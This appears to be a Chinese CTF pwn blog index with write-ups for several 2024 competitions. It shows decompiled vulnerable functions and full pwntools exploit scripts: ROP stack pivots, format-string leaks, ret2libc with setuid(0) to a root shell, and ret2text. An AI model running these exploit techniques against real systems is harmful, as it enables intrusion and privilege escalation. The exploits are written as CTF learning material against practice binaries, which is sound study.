快来和我贴贴qaq
post @ 2024-05-15

题目附件https://github.com/nyyyddddn/ctf/tree/main/hnctf_pwn

close

关闭了标准输出流,直接cat /flag 1>&0就可以了

ez_pwn

%s 泄露buf的地址后覆盖rbp栈迁移后打rop就好了,由于32位的调用约定,不能以连续的ret结尾的gadget去rop,然后system不能直接传binsh过去,得传;sh,所以read一次后重启main再调用system就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 29342

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

idea

格式化字符串泄露canary后和ez_pwn一样的流程,不过libc小版本的差异远程打不通,可以用libc searcher解决这个问题

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 46515

elf = context.binary = ELF('./idea')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("How many bytes do you want me to read? ","-1")

payload = b'%7$p'
# gdb_comm = '''
# b *0x080486E4
# c
# '''
# gdb.attach(p,gdb_comm)
sla("Ok, sounds good. I'll give u a gift!",payload)

rl()
canary = int(r(10),16)
success(hex(canary))

ru("bytes of data!")

puts = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x0804870D

payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(puts) + p32(vuln) + p32(puts_got)
# g(p)
sl(payload)

ru("a" * 0x20)
rl()
# libc_base = u32(r(4)) - libc.sym['puts']
# success(f"libc_base ->{hex(libc_base)}")
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))
# read = libc_base + libc.sym['read']

bss = 0x804a000

puts_addr = u32(r(4))
success(hex(puts_addr))
success(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
success(hex(libc_base))
success(hex(libc_base))
system = libc_base + libc.dump("system")
read = libc_base + libc.dump("read")

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4) 

sl(payload)

time.sleep(0.5)
s(b'sh;\0')

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(system) + p32(bss) + p32(bss)
# g(p)
sl(payload)




p.interactive()

what

Read More
post @ 2024-05-14

pwn

ottoshop

ida显示有些奇怪,修了一下,程序的逻辑是这样的,程序里还有一个backdoor,通过buy中的下界溢出去写binsh字符串,然后golden中的 scanf去写返回地址为backdoor就好了,scanf 如果输入数据的类型和formatstrings不匹配就不会写入数据,通过这种方式去绕过canary

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // [rsp+Ch] [rbp-44h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v3 = time(0LL);
  srand(v3);
  puts("Welcome to miniL pwn checkin!");
  puts("Here,a ♿ shop,have some magic ♿ for u ~");
  puts("u have 50 ottobucks to buy No.1-No.255 ♿!");
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        menu();
        scanf();
        if ( v4 != 666 )
          break;
        puts("u find it!");
        ottoottootto();
      }
    }
    while ( v4 > 666 );
    if ( v4 == 4 )
    {
      check();
    }
    else if ( v4 <= 4 )
    {
      switch ( v4 )
      {
        case 3:
          Golden();
          break;
        case 1:
          buy();
          break;
        case 2:
          change();
          break;
      }
    }
  }
}

unsigned __int64 buy()
{
  int a; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  a = 0;
  if ( money > 0 )
  {
    puts("which ♿ ?");
    scanf("%d", (int)&a);
    wheelchair[a] = 666;
    if ( a > 255 )
    {
      puts("? fxxk u!");
      exit(1);
    }
    puts("Give your ♿ a name!");
    read(0, (char *)&name + 4 * a, 4uLL);
    --money;
  }
  else
  {
    puts("NONONO..");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 Golden()
{
  int a; // [rsp+8h] [rbp-18h] BYREF
  int i; // [rsp+Ch] [rbp-14h]
  char v3[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  a = 0;
  if ( gold != 1 )
  {
    puts("NONONONO..");
    exit(1);
  }
  puts("Here are only 5 golden ♿..");
  puts("How many golden ♿ u want to buy?");
  scanf("%d", (int)&a);
  if ( a > 5 )
  {
    puts("U R Greedy!");
    exit(1);
  }
  for ( i = 0; i < a; ++i )
  {
    if ( money <= 14 )
    {
      puts("nononono..");
      return v4 - __readfsqword(0x28u);
    }
    puts(aUCanGiveYourGo);
    scanf("%ld", (int)&v3[8 * i]);
    money -= 15;
  }
  return v4 - __readfsqword(0x28u);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999

elf = context.binary = ELF('./ottoshop')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def buy(idx,content):
    sla('5.exit\n',b'1')
    sl(str(idx))
    sa("name!",content)

p = connect()


backdoor = 0x402128

# set menory = 0x10000
buy(-90,p32(0x10000))

# set flag1 = /bin/sh
buy(-92,p32(0x6e69622f))
buy(-91,p32(0x0068732f))

# set gold = 1
sla(b'5.exit\n',"666")
sa(b'find it!\n',b'\n')


sla(b'5.exit\n',"3")

sla(b'want to buy?\n',"4")
for i in range(3):
    sla(b'passwd!',b'-')

sla(b'passwd!',str(backdoor).encode())




p.interactive()

game

啊这,这个game太抽象了一点都不好玩,不复现了

Easyvm2024

第一次做vmpwn相关的题目,去了解了一下vmpwn相对ctf re方向的虚拟机逆向来说,除了要识别 虚拟机中的 寄存器 堆栈,有哪些Instruct handler外,还需要去分析Instruct handler有什么漏洞,构造一些输入去触发这些漏洞,程序的逻辑大概是这样的

Read More

pwn

摩登Pwn

第一次做这种gui pwn,搜了一下是rbf协议,https://remoteripple.com/download/ 用这个远程连接软件连接和题目进行交互

程序的逻辑是,会将输入转成无符号整数,然后判断”符号位”是不是负数,如果是就输出flag,所以只需要输入4字节无符号整数能表达是最大范围4294967295 就能拿到flag

__int64 __fastcall show_result(__int64 a1, __int64 a2)
{
  __int64 type; // rsi
  __int64 v3; // rax
  __int64 buffer; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rsi
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  char src[8]; // [rsp+10h] [rbp-100h] BYREF
  __int64 v15; // [rsp+18h] [rbp-F8h]
  __int64 v16; // [rsp+20h] [rbp-F0h]
  __int64 v17; // [rsp+28h] [rbp-E8h]
  __int64 v18; // [rsp+30h] [rbp-E0h]
  __int64 v19; // [rsp+38h] [rbp-D8h]
  __int64 v20; // [rsp+40h] [rbp-D0h]
  __int64 v21; // [rsp+48h] [rbp-C8h]
  char v22[128]; // [rsp+50h] [rbp-C0h] BYREF
  __int64 v23; // [rsp+D0h] [rbp-40h]
  FILE *stream; // [rsp+D8h] [rbp-38h]
  __int64 content_area; // [rsp+E0h] [rbp-30h]
  __int64 v26; // [rsp+E8h] [rbp-28h]
  unsigned int v27; // [rsp+F4h] [rbp-1Ch]
  __int64 v28; // [rsp+F8h] [rbp-18h]
  __int64 toplevel; // [rsp+100h] [rbp-10h]
  char *nptr; // [rsp+108h] [rbp-8h]

  toplevel = gtk_widget_get_toplevel(a1);
  v28 = a2;
  type = gtk_entry_get_type();
  v3 = g_type_check_instance_cast(v28, type);
  buffer = gtk_entry_get_buffer(v3);
  for ( nptr = (char *)gtk_entry_buffer_get_text(buffer); *nptr && (*nptr <= 48 || *nptr > 56); ++nptr )
    ;
  v27 = strtoul(nptr, 0LL, 10);
  v26 = gtk_dialog_new_with_buttons("Result", toplevel, 2LL, &unk_401B58, 0xFFFFFFFFLL, 0LL);
  v5 = gtk_container_get_type();
  v6 = g_type_check_instance_cast(v26, v5);
  gtk_container_set_border_width(v6, 10LL);
  v7 = gtk_window_get_type();
  v8 = g_type_check_instance_cast(v26, v7);
  gtk_window_set_position(v8, 4LL);
  v9 = gtk_dialog_get_type();
  v10 = g_type_check_instance_cast(v26, v9);
  content_area = gtk_dialog_get_content_area(v10);
  memset(v22, 0, sizeof(v22));
  strcat(v22, "Your height is:  ");
  if ( (v27 & 0x80000000) != 0 )
  {
    *(_QWORD *)src = 0LL;
    v15 = 0LL;
    v16 = 0LL;
    v17 = 0LL;
    v18 = 0LL;
    v19 = 0LL;
    v20 = 0LL;
    v21 = 0LL;
    stream = fopen("/flag", "r");
    __isoc99_fscanf(stream, "%s", src);
    fclose(stream);
    strcpy(&v22[16], src);
  }
  else
  {
    sprintf(&v22[16], "%d", v27);
  }
  strcat(v22, "cm");
  v23 = gtk_label_new(v22);
  g_signal_connect_data(v26, (__int64)"response", (__int64)&gtk_widget_destroy, v26, 0LL, 2LL);
  v11 = gtk_container_get_type();
  v12 = g_type_check_instance_cast(content_area, v11);
  gtk_container_add(v12, v23);
  return gtk_widget_show_all(v26);
}

baby_stack

题目里有一个只允许orw的沙箱,然后子函数里面有一个栈溢出,不过溢出长度比较短,通过printf %s泄露libc基地址 和 栈相关的地址,栈迁移后打rop,先泄露栈地址,因为栈地址的在低地址,在泄露libc的地址

ssize_t func()
{
  char buf[320]; // [rsp+0h] [rbp-140h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("please enter your content:");
  read(0, buf, 0x150uLL);
  printf("%s", buf);
  puts("please enter your content again:");
  return read(0, buf, 0x150uLL);
}

其实restart一次就好了,(懒得改

exp

Read More
post @ 2024-04-28

easycpp

std::ios_base::width 这段代码设置了输入长度为96,buf距离rbp的距离为 0x90,不过 strcmp(s1, s2); 这里cmp成功的话走到后边cpy就会有一个溢出,程序存在一个backdoor函数,ret2text

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  char s2[96]; // [rsp+0h] [rbp-90h] BYREF
  char s1[44]; // [rsp+60h] [rbp-30h] BYREF
  unsigned int v21; // [rsp+8Ch] [rbp-4h]

  init();
  v3 = std::operator<<<char>(&std::cout, &str02[abi:cxx11]);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v4 = std::operator<<<char>(&std::cout, &str03[abi:cxx11]);
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<char>(&std::cout, &str04[abi:cxx11]);
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<char>(&std::cout, &str05[abi:cxx11]);
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  v7 = std::operator<<<char>(&std::cout, &str06[abi:cxx11]);
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  v8 = std::operator<<<char>(&std::cout, &str07[abi:cxx11]);
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v9 = std::operator<<<char>(&std::cout, &str08[abi:cxx11]);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  v10 = std::operator<<<char>(&std::cout, &str09[abi:cxx11]);
  std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
  v11 = std::operator<<<char>(&std::cout, &str10[abi:cxx11]);
  std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
  v12 = std::operator<<<char>(&std::cout, &str11[abi:cxx11]);
  std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
  v13 = std::operator<<<char>(&std::cout, &str12[abi:cxx11]);
  v14 = std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
  std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
  v15 = std::operator<<<char>(&std::cout, &str01[abi:cxx11]);
  std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
  v16 = std::operator<<<std::char_traits<char>>(&std::cout, "Tell me,which ctf is the best CTF?");
  std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
  std::ios_base::width((std::ios_base *)&unk_404250, 96LL);
  std::operator>><char,std::char_traits<char>>(&std::cin, s2);
  v17 = std::operator<<<std::char_traits<char>>(&std::cout, s2);
  std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
  strcpy(s1, "HZNUCTF,bestCTF!");
  v21 = strcmp(s1, s2);
  std::ostream::operator<<(&std::cout, v21);
  if ( v21 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "Well, maybe you can try to believe HZNUCTF.");
  }
  else
  {
    memcpy(s1, s2, 0x60uLL);
    std::operator<<<std::char_traits<char>>(&std::cout, "You are right!");
    std::operator<<<std::char_traits<char>>(&std::cout, s1);
  }
  return 0;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20023

elf = context.binary = ELF('./easycpp')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

backdoor = 0x4012FE

payload = b'HZNUCTF,bestCTF!'
payload = payload.ljust(0x18,b'\x00') + p64(backdoor) * 10
# g(p)
sla("Tell me,which ctf is the best CTF?",payload)


p.interactive()

FakeHope

保护全开,同时输入函数是 scanf %s 存在 00截断,可以找一个指向栈的双重指针,通过这个双重指针往栈上写一个地址,这样就实现任意地址读写了,通过双重指针去调整这个地址,就能实现写 四个字节 八个字节的长数据,发现是低版本的libc,csu会被编译到elf里面,本来想着在buf附近用格式化字符串写rop 用csu去调整rsp的位置,但是buf那边有几个操作会修改buf里的数据,不太好布置,然后就往返回地址那写rop, 因为程序不能正常返回,不过只需要劫持子函数的返回地址为leave ret 就能正常返回了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  hope(argc, argv, envp);
  return 0;
}
unsigned __int64 hope()
{
  char format[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  init();
  do
  {
    __isoc99_scanf(&unk_2004, format);
    printf(format);
    putchar(10);
  }
  while ( strcmp(format, "exit") );
  system("echo FakeHope");
  return __readfsqword(0x28u) ^ v2;
}

exp写的很烂,不过懒得改了(

exp:

Read More
post @ 2024-04-24

题目附件https://github.com/nyyyddddn/ctf/tree/main/geekcon

pwnable

Memo0

有一个login函数,login success了会调用一个输出flag的函数

unsigned __int64 login()
{
  unsigned __int64 v0; // rax
  size_t v1; // rax
  _BYTE *s1; // [rsp+8h] [rbp-38h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Please enter your password: ");
  __isoc99_scanf("%29s", s);
  v0 = strlen(s);
  s1 = sub_12E9((__int64)s, v0);
  if ( !s1 )
  {
    puts("Error!");
    exit(-1);
  }
  v1 = strlen(s2);
  if ( memcmp(s1, s2, v1) )
  {
    puts("Password Error.");
    exit(-1);
  }
  puts("Login Success!");
  sub_1623();
  free(s1);
  return v5 - __readfsqword(0x28u);
}

三个字节转换成四个一组然后 sbox,很明显是base64,然后把索引表换了

_BYTE *__fastcall sub_12E9(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // rax
  unsigned __int64 v4; // rax
  int v5; // eax
  unsigned __int64 v6; // rax
  int v7; // eax
  __int64 v8; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  int v10; // [rsp+20h] [rbp-30h]
  int v11; // [rsp+24h] [rbp-2Ch]
  unsigned int v12; // [rsp+2Ch] [rbp-24h]
  unsigned __int64 v13; // [rsp+30h] [rbp-20h]
  __int64 v14; // [rsp+38h] [rbp-18h]
  unsigned __int64 v15; // [rsp+40h] [rbp-10h]
  _BYTE *v16; // [rsp+48h] [rbp-8h]

  v15 = 4 * ((a2 + 2) / 3);
  v16 = malloc(v15 + 1);
  if ( !v16 )
    return 0LL;
  v13 = 0LL;
  v14 = 0LL;
  while ( v13 < a2 )
  {
    v3 = v13++;
    v10 = *(unsigned __int8 *)(a1 + v3);
    if ( v13 >= a2 )
    {
      v5 = 0;
    }
    else
    {
      v4 = v13++;
      v5 = *(unsigned __int8 *)(a1 + v4);
    }
    v11 = v5;
    if ( v13 >= a2 )
    {
      v7 = 0;
    }
    else
    {
      v6 = v13++;
      v7 = *(unsigned __int8 *)(a1 + v6);
    }
    v12 = (v11 << 8) + (v10 << 16) + v7;
    v16[v14] = aZyxwvutsrqponm[(v12 >> 18) & 0x3F];
    v16[v14 + 1] = aZyxwvutsrqponm[(v12 >> 12) & 0x3F];
    v16[v14 + 2] = aZyxwvutsrqponm[(v12 >> 6) & 0x3F];
    v8 = v14 + 3;
    v14 += 4LL;
    v16[v8] = aZyxwvutsrqponm[v12 & 0x3F];
  }
  for ( i = 0; i < (3 - a2 % 3) % 3; ++i )
    v16[v15 - i - 1] = '=';
  v16[v15] = 0;
  return v16;
}

直接解密拿到login用的password,login后拿到flag

Memo1

memo1在memo0的基础上去掉了backdoor函数

Read More
post @ 2024-03-27

唉咱好菜,就出了两个题,后几题都没有思路

Maimai查分器

子函数这里有一个格式化字符串和栈溢出漏洞,用格式化字符串泄露libc的地址和canary的值,然后打ret2libc就好了,打通后catflag发现没有权限,看了一下challenge文件,有suid权限,所以可以用libc中的setuid(0)函数提权,然后cat flag

unsigned __int64 sub_19EA()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Input your nickname.");
  read(0, buf, 8uLL);
  printf(buf);
  printf(", your rating is: %d\n", (unsigned int)dword_504C);
  if ( dword_504C < dword_5010 )
  {
    puts("I think you should play more maimai.");
    exit(0);
  }
  sub_1984();
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 sub_1984()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Big God Coming!");
  puts("Can you teach me how to play maimai?");
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node.nkctf.yuzhian.com.cn"
PORT = 30008

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def playmaimai():
    sla("Select a option:","1")
    ru("Input chart level and rank.")

    for i in range(50):
        sl("234 SSS+")

p = connect()

playmaimai()
sla("Select a option:","2")

payload = "%7$p"
sa("Input your nickname.",payload)
rl()
leak_canary = int(r(18),16)
success(hex(leak_canary))
sla("Can you teach me how to play maimai?","AAAA")


sla("Select a option:","2")
payload = "%13$paa"
# g(p)
sa("Input your nickname.",payload)
rl()
libc_base = int(r(14),16) - 0x29d90
success(hex(libc_base))


rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
setuid = libc_base + libc.sym['setuid']

payload = flat([
    b'a' * 0x28,leak_canary,b'a' * 0x8,
    rdi,0,setuid,
    rdi,binsh,system
])

sla("Can you teach me how to play maimai?",payload)

p.interactive()

来签个到

第一次做winpwn 相关的challenge

https://xz.aliyun.com/t/11891?time__1311=mqmx0DBD9DyG0QeDsKoYKIaNzY4AKvNx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11913%3Ftime__1311%3Dmqmx0DBGnDnDyDBuex2lfgx7KG%253DkmtG8KeD%26alichlgref%3Dhttps%253A%252F%252Fcn.bing.com%252F#toc-1

如何调试:

Read More

Delulu

格式化字符串改低位两个字节就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  v4[0] = 322419390LL;
  v4[1] = (__int64)v4;
  memset(buf, 0, 32);
  read(0, buf, 0x1FuLL);
  printf("\n[!] Checking.. ");
  printf((const char *)buf);
  if ( v4[0] == 322420463 )
    delulu();
  else
    error("ALERT ALERT ALERT ALERT\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.150"
PORT = 53288 

elf = context.binary = ELF('./delulu')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%" + str(0xBEEF)+ "c%7$hn"

# ru(">>")
time.sleep(0.5)
s(payload)

p.interactive()

Writing on the Wall

过了这个cmp 就能拿到flag了,然后输入有七个字节,刚刚好能覆盖s2的低位一个字节,strcmp是根据 \x00来判断字符串结尾的,那输入 七个 \x00,cmp就能过了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
  char s2[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)s2 = 0x2073736170743377LL;
  read(0, buf, 7uLL);
  if ( !strcmp(buf, s2) )
    open_door();
  else
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.253.78"
PORT = 37705

elf = context.binary = ELF('./writing_on_the_wall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b'\x00' * 7


time.sleep(1)
# g(p)
s(payload)

p.interactive()
Read More
post @ 2024-03-10

Adventure

这印度的服务器稀烂,打半天打不通

有一个子函数里面存在栈溢出,用libcsearcher打ret2libc就好了

void __cdecl hatchEgg()
{
  char name[20]; // [rsp+0h] [rbp-20h] BYREF

  puts("You wish to hatch the egg!");
  puts("Give the baby dragon a name");
  getchar();
  fflush(stdin);
  gets(name);
  printf("Your dragon is now called %s\n", name);
  printf("You leave the area with %s\n", name);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30014

elf = context.binary = ELF('./adventure')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


# 2 - > 1 -> getchar -> gets

rdi = 0x000000000040121e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401223
ret = 0x000000000040101a

payload = b"a" * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

# sla("Adventure!","2")
# sla("No","1")

time.sleep(2)
sl("2")
time.sleep(2)
sl("1")


# g(p)
sla("Give the baby dragon a name",payload)

rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))

# 4
libc = libc = LibcSearcher('puts',leak) 
libc_base= leak - libc.dump("puts")
print(hex(libc_base))
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")


payload = b"a" * (0x20 + 0x8 + 0x1)
payload += p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# g(p)
sla("Give the baby dragon a name",payload)



p.interactive()

babyheap

https://bbs.kanxue.com/thread-273702.htm

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8_io_wfile_overflow%E5%87%BD%E6%95%B0%E6%8E%A7%E5%88%B6%E7%A8%8B%E5%BA%8F%E6%89%A7%E8%A1%8C%E6%B5%81

glibc 2.35,先通过unsortedbin和tcache bin去泄露libc_base和heap_base,然后fastbin double free,打house of apple2,最后exit触发io _IO_flush_all_lockp,然后伪造iofile劫持控制流,2.35中fastbin 和 tcachebin fd next的位置有一个加密,加密的过程是这样的

